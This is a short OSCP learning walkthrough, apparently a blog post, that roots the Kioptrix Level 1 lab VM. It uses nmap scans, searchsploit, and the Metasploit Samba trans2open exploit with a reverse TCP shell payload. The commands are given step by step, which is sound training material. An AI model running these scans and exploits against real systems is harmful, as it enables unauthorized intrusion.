Gaining Root with Metasploit

Platform: Kali Linux, Kioptrix Level 1

1. Find the IP of Kioptirx



nmap 10.0.0.0/24 -n -sP -sn


OSCP Learning Notes - Exploit(1)_OSCP

2. Scan the Kioptrix server and analyst the result.



nmap -nvv -Pn- -sSV -p 22,80,111,139,443,1024 --version-intensity 9 -A -oN /root/kioptrix1_detailed.txt 10.0.0.20


OSCP Learning Notes - Exploit(1)_linux_02

3. Search samba exploit methods.



searchsploit samba 2.2


OSCP Learning Notes - Exploit(1)_linux_03

4. Open Metasploit.



msfconsole


OSCP Learning Notes - Exploit(1)_Kali Linux_04

5. Search and use the suitable module.



use exploit/linux/samba/trans2open


OSCP Learning Notes - Exploit(1)_OSCP_05

6. Set the metasploit options.



set rhost 10.0.0.20


 

OSCP Learning Notes - Exploit(1)_Kali Linux_06

7. Start the exploit but failed in the end.



exploit


 

OSCP Learning Notes - Exploit(1)_Kali Linux_07

8. Set the payload and Try gain.



set payload generic/shell_reverse_tcp


 

OSCP Learning Notes - Exploit(1)_Kali Linux_08

 Root the target server.

OSCP Learning Notes - Exploit(1)_Kali Linux_09

 


相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。